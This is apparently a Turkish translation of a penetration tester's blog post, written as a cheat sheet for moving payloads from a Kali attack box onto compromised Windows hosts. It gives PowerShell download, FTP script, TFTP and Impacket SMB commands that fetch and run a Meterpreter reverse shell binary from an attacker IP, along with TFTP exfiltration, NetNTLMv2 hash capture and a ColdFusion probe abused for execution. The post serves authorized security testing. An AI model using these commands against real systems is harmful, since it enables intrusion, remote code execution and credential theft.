Dosyaları Linux’tan Windows’a Aktarma (kullanım sonrası)


Çoğu zaman bir etkileşimde kendimi Kali linux saldırı kutumdan güvenliği ihlal edilmiş bir Windows makinesine bir araç veya veri yükü kopyalamaya ihtiyaç duyarken buluyorum. Mükemmel bir örnek olarak, yakın zamanda yapılan bir sızma testinde savunmasız bir ColdFusion sunucusu buldum ve bir CFM web kabuğu yükleyebildim. Çok sınırlı, etkileşimli olmayan bir kabuktu ve saldırı makinemden ters bir Meterpreter ikili dosyası indirip çalıştırmak istedim. Veriyi Veil ile oluşturdum ancak dosyayı basit komutlarla ColdFusion çalıştıran Windows sunucusuna aktarmanın bir yoluna ihtiyacım vardı.

Bu gönderiyi, dosyaları aktarmanın en sevdiğim yolları için bir çeşit “kopya kağıdı” olarak bir araya getiriyorum.

Gösterim amacıyla, tüm bu yöntemleri kullanarak kopyalayacağım dosyanın adı met8888.exe ve yer almaktadır /root/shells.

HTTP

Masaüstüne erişiminiz varsa ve bir web tarayıcısı açabiliyorsanız dosyaları HTTP aracılığıyla indirmek oldukça basittir, ancak bunu komut satırı aracılığıyla da yapmak mümkündür.

Sunucuyu Başlatma

Genellikle Kali’den HTTP üzerinden bir dosya sunmanın iki yolu ya Apache aracılığıyla ya da Python HTTP sunucusu aracılığıyladır.

Bir dosyayı Apache üzerinden sunmak için dosyayı kopyalamanız yeterlidir. /var/www/html ve Apache hizmetini etkinleştirin. Apache, Kali’de varsayılan olarak kuruludur:

Apache'yi kopyalayıp başlatın

Diğer seçenek ise doğrudan kabuk dizininin içinde bir Python web sunucusu başlatmaktır. Bu, Python’un SimpleHTTPServer modülü sayesinde yalnızca tek bir Python satırı gerektirir:

1
python -m SimpleHTTPServer

Varsayılan olarak 8000 numaralı bağlantı noktasında hizmet verir, ancak sonunda bir bağlantı noktası numarası da belirtebilirsiniz.

Python sunucusu başlangıcı

Bu çalışırken geçerli dizindeki tüm dosyalara HTTP üzerinden erişilebilir. Ctrl-C işiniz bittiğinde sunucuyu öldürecek.

Dosyaları indirme

Masaüstü erişiminiz varsa şu adrese göz atmanız yeterlidir: http://YOUR-KALI-IP/shell8888.exe ve dosyayı indirmek için tarayıcıyı kullanın:

IE İndir

Yalnızca komut satırı erişiminiz varsa (örneğin bir kabuk aracılığıyla), yerleşik Windows eşdeğeri olmadığından HTTP yoluyla indirme işlemi biraz daha zordur. curl veya wget. En iyi seçenek PowerShell’in WebClient nesnesini kullanmaktır:

1
(new-object System.Net.WebClient).DownloadFile('http://10.9.122.8/met8888.exe','C:\Users\jarrieta\Desktop\met8888.exe')

Bunu normal bir Windows komut isteminden de arayabilirsiniz:

PowerShell'i İndirin

Burada özetlenen birkaç yöntem daha var, ancak bunların hiçbirinin yukarıdaki PowerShell pasajı kadar basit olduğunu düşünmüyorum.

FTP’de

Dosyaları aktarmanın başka bir yolu da FTP’dir. Windows’un yerleşik bir FTP istemcisi vardır. C:\Windows\System32\ftp.exe dolayısıyla bu seçenek neredeyse her zaman işe yarayacaktır.

Sunucuyu Başlatma

Kesinlikle aşağıdaki gibi tam özellikli bir FTP sunucusu kurabilirsiniz: vsftpd Kali’de ama bunun çoğu zaman abartılı olduğunu düşünüyorum. Dosyaları paylaşmak için aşağı yukarı döndürebileceğim basit, geçici bir FTP sunucusu istiyorum. Bunu yapmanın en iyi iki yolu Python veya Metasploit’tir.

Piton. pytftpd kütüphane, yukarıdaki HTTP gibi, bir Python FTP sunucusunu tek satırda döndürmenizi sağlar. Varsayılan olarak yüklü olarak gelmez, ancak apt ile yükleyebilirsiniz:

1
apt-get install python-pyftpdlib

Artık hizmet vermek istediğiniz dizinden Python modülünü çalıştırmanız yeterli. Hiçbir argüman olmadan bağlantı noktasında çalışır 2121 ve anonim kimlik doğrulamayı kabul eder. Standart bağlantı noktasında dinlemek için:

Python FTP Sunucusu

HTTP üzerinden FTP kullanmanın bir avantajı, dosyaları her iki yönde de aktarabilme yeteneğidir. Anonim kullanıcıya yazma erişimi vermek istiyorsanız -w bayrak da.

Metasploit. Ayrıca Metasploit’te yerleşik olarak dağıtılması ve yapılandırılması kolay bir yardımcı FTP sunucusu da bulunmaktadır. Şurada yer almaktadır: auxiliary/server/ftp. Ayarla FTPROOT paylaşmak ve çalıştırmak istediğiniz dizine exploit:

Metasploit FTP Sunucusu

Sunucu arka planda çalışacaktır. Onunla öldür jobs -k

Dosyaları indirme

Daha önce de belirtildiği gibi, Windows’un PATH’de yerleşik bir FTP istemcisi vardır. Bir FTP bağlantısı açabilir ve dosyaları doğrudan komut satırından Kali’den indirebilirsiniz. Kullanıcıyla kimlik doğrulama anonymous ve herhangi bir şifre

Windows FTP Etkileşimli

FTP komut istemine girip komutlar verebileceğiniz etkileşimli bir kabuğunuz varsa bu harikadır, ancak yalnızca komut enjeksiyonunuz varsa ve bir seferde yalnızca bir komut yayınlayabiliyorsanız o kadar da kullanışlı değildir.

Neyse ki Windows FTP, komutların bir “kodunu” doğrudan komut satırından alabilir. Bunun anlamı, sistemde şunu içeren bir metin dosyamız varsa:

1
2
3
4
5
6
open 10.9.122.8
anonymous
whatever
binary
get met8888.exe
bye

basitçe koşabiliriz ftp -s:ftp_commands.txt ve kullanıcı etkileşimi olmadan bir dosya indirebiliriz.

Bu metin dosyası nasıl alınır? Her seferinde bir satırda yankı yapabiliriz:

1
2
3
4
5
6
7
C:\Users\jarrieta\Desktop>echo open 10.9.122.8>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo anonymous>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo whatever>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo binary>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo get met8888.exe>>ftp_commands.txt
C:\Users\jarrieta\Desktop>echo bye>>ftp_commands.txt
C:\Users\jarrieta\Desktop>ftp -s:ftp_commands.txt

Veya hepsini tek bir uzun satırda yapın:

1
C:\Users\jarrieta\Desktop>echo open 10.9.122.8>ftp_commands.txt&echo anonymous>>ftp_commands.txt&echo password>>ftp_commands.txt&echo binary>>ftp_commands.txt&echo get met8888.exe>>ftp_commands.txt&echo bye>>ftp_commands.txt&ftp -s:ftp_commands.txt

Her iki durumda da sonunda met8888.exe Windows ana bilgisayarında.

TFTP

Önemsiz dosya aktarım protokolü, eğer tftp Sisteme kuruludur. Eskiden Windows XP’de varsayılan olarak yüklenirdi ancak artık Windows’un daha yeni sürümlerinde manuel olarak etkinleştirilmesi gerekiyor. Erişiminiz olan Windows makinesi şuna sahipse: tftp Ancak istemci yüklendiğinde, dosyaları tek bir komutla almanın gerçekten kolay bir yolunu sağlayabilir.

Sunucuyu Başlatma

Kali yüklü bir TFTP sunucusuyla birlikte gelir, atftpdbasit bir adımla başlatılabilen service atftpd start. Yine de onu yapılandırırken ve çalıştırırken her zaman çok zorlandım ve nadiren bir hizmet olarak bir TFTP sunucusunu başlatıp çalıştırmaya devam etmem gerekiyor, bu yüzden sadece daha basit olan Metasploit modülünü kullanıyorum.

Metasploit, FTP’de olduğu gibi, bir yardımcı TFTP sunucu modülüne sahiptir. auxiliary/server/tftp. Aşağıdakiler de dahil olmak üzere modül seçeneklerini ayarlayın: TFTPROOThangi dizinin sunulacağını belirler ve OUTPUTPATH Windows’tan TFTP yüklemelerini de yakalamak istiyorsanız.

Metasploit TFTP Sunucusu

Dosyaları İndirme

Yine varsayarsak tftp yardımcı programı yüklüyse, Windows komut isteminden tek satırlık bir dosya alabilirsiniz. Herhangi bir kimlik doğrulama gerektirmez. Sadece basitçe kullanın -i bayrak ve GET aksiyon.

Windows TFTP AL

Dosyaları TFTP yoluyla dışarı çıkarmak da basittir. PUT aksiyon. Metasploit sunucusu bunları kaydeder /tmp varsayılan olarak

Windows TFTP PUT

TFTP, kimlik doğrulama gerektirmediği ve her şeyi tek bir komutla gerçekleştirebildiği için dosyaları aktarmanın kullanışlı ve basit bir yoludur.

Dipnot: TFTP’yi Yükleme. Bahsettiğim gibi, TFTP Windows’un yeni sürümlerinde varsayılan olarak bulunmaz. Gerçekten istiyorsanız, TFTP’yi komut satırından etkinleştirebilirsiniz:

İşe yarayabilir ama her zaman “toprakla yaşamayı” ve halihazırda mevcut olan araçları kullanmayı tercih ederim.

KOBİ

Bu aslında bir dosyayı Windows ana bilgisayarına aktarmak için en sevdiğim yöntemdir. SMB, Windows’ta yerleşiktir ve Windows UNC yollarını anladığı için herhangi bir özel komut gerektirmez. Sadece standardı kullanabilirsiniz copy Ve move komutları ve SMB, dosya aktarımını sizin için otomatik olarak gerçekleştirir. Daha da iyisi, Windows aslında size izin verecek dosyaları yürütmek UNC yolları aracılığıyla, tek komutla bir yükü indirip çalıştırabileceğiniz anlamına gelir!

Sunucunun Kurulumu

Samba’yı Linux’ta düzgün bir şekilde kurup yapılandırmaya çalışmak bir acıdır. Kimlik doğrulamayı, izinleri vb. yapılandırmanız gerekiyor ve açıkçası sadece bir dosya indirmek istersem bu çok fazla abartılıyor. Şimdi Samba, Windows AD ile güzel bir şekilde çalışacak şekilde yapılandırdığınızda gerçekten harika şeyler yapıyor, ancak çoğu zaman herhangi bir kimlik doğrulamayı kabul eden ve dosyaları sunan veya kabul eden süper basit bir sunucunun çalışır durumda olmasını istiyorum.

Girmek smbserver.pyImpacket projesinin bir parçası. Belki bir gün Impacket’ten bahsetmeden bir blog yazısı yazarım ama o gün bugün değil.

445 numaralı bağlantı noktasında basit bir SMB sunucusu başlatmak için bir paylaşım adı ve paylaşmak istediğiniz yolu belirtmeniz yeterlidir:

1
# python smbserver.py ROPNOP /root/shells

Python betiği sizin için tüm yapılandırmaları halleder, 445’e bağlanır ve her türlü kimlik doğrulamayı kabul eder. Hatta kendisine bağlanan herhangi bir sistem için hash edilmiş meydan okuma yanıtlarının çıktısını bile alacaktır.

Impacket'in smbserver.py'si

Tek satırda, çalışır durumda olan bir KOBİ paylaşımımız var. İle onaylayabilirsiniz smbclient Linux’tan:

yerel olarak smbclient

Veya ile net view Windows’tan:

Windows'tan net görünüm

Dosyaları Kopyalamak

Windows UNC yollarını yönettiğinden, yalnızca ROPNOP sanki Windows’tan yerel bir klasörmüş gibi paylaşın. Gibi temel Windows dosya komutları dir, copy, movevb. hepsi işe yarıyor:

Windows dizini

Windows kopyası

Çıktısına bakarsanız smbserver.pyPaylaşıma her eriştiğimizde, mevcut Windows kullanıcısından NetNTLMv2 karmasının çıktısını aldığını görebilirsiniz. Bunları John veya Hashcat’e besleyebilir ve isterseniz kırabilirsiniz (Sisteme yükselip Mimikatz’dan alamayacağınızı varsayarak)

Yakalanan kullanıcı karması

Dosyaları SMB’den yürütme. Windows’un UNC yollarını işleme şekli nedeniyle, ikili dosyamızı ilk önce kopyalamaya bile gerek kalmadan doğrudan SMB paylaşımından yürütmek mümkündür. Yürütülebilir dosyayı zaten yerelmiş gibi çalıştırın; yük etkinleşecektir:

KOBİ aracılığıyla yük

Bu, karşılaştığım başka bir ColdFusion istismarı sırasında inanılmaz derecede faydalı oldu. Korumasız bir ColdFusion yönetici paneline erişim kazandıktan sonra, bir test başarısız olduğunda tetiklenecek bir “sistem araştırması” yapılandırabildim. Bir programı başarısızlık eylemi olarak yürütmeme izin verdi ve Kali makinemde barındırılan Meterpreter yükünü yürütmek için UNC yolunu kullandım:

ColdFusion Probu

Araştırma başarısız olduğunda, ColdFusion SMB paylaşımıma bağlandı ve yükü yürüttü; ben de kapanıp çalışıyordum.

Özet

İyi bir pentester’ın “toprakla geçinmesi” ve dosyaları aktarmanın birkaç farklı yolunu bilmesi gerekir. Bırakın GUI’yi, etkileşimli bir kabuğa her zaman güvenemezsiniz; bu nedenle, yükleri aktarmak ve yürütmek için farklı komutları ve teknikleri anlamak çok önemlidir.

Dört farklı protokol kullanarak birkaç farklı tekniğin ana hatlarını çizdim:

Kullanımları hedefte nelerin mevcut olduğuna ve ağda nelere izin verildiğine bağlıdır.

Umarım bu yazı birine yardımcı olur ve bir tür “hile” görevi görebilir. En sevdiğiniz tekniklerden herhangi birini kaçırırsam bana bildirin!

-ropnop


Ayrıca bakınız



Source link